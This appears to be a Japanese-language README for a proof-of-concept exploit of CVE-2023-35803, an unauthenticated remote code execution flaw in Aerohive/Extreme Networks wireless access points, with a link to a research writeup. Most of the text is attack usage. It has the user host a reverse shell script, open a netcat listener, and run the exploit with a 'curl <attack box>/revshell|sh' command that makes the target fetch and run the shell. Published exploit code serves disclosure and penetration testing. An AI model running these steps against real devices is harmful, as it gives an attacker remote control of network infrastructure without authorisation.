CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive ワイヤレスアクセスポイントにおける未認証のRCE

HiveOS/IQ Engine <10.6r2 を実行するARMベースのアクセスポイント向けPoC。

1. revshell を編集して、シェルキャッチャーのIP/ポートを指定します
2. リバースシェルをホストします: python3 -m http.server
3. シェルキャッチャーを開きます: nc -lvnp 1337
4. POC を実行します (数分かかる場合があります): python3 poc.py <ip of ap> "curl <ip of attack box>:8000/revshell|sh"

---

Writeup はこちら: https://research.aurainfosec.io/pentest/bee-yond-capacity/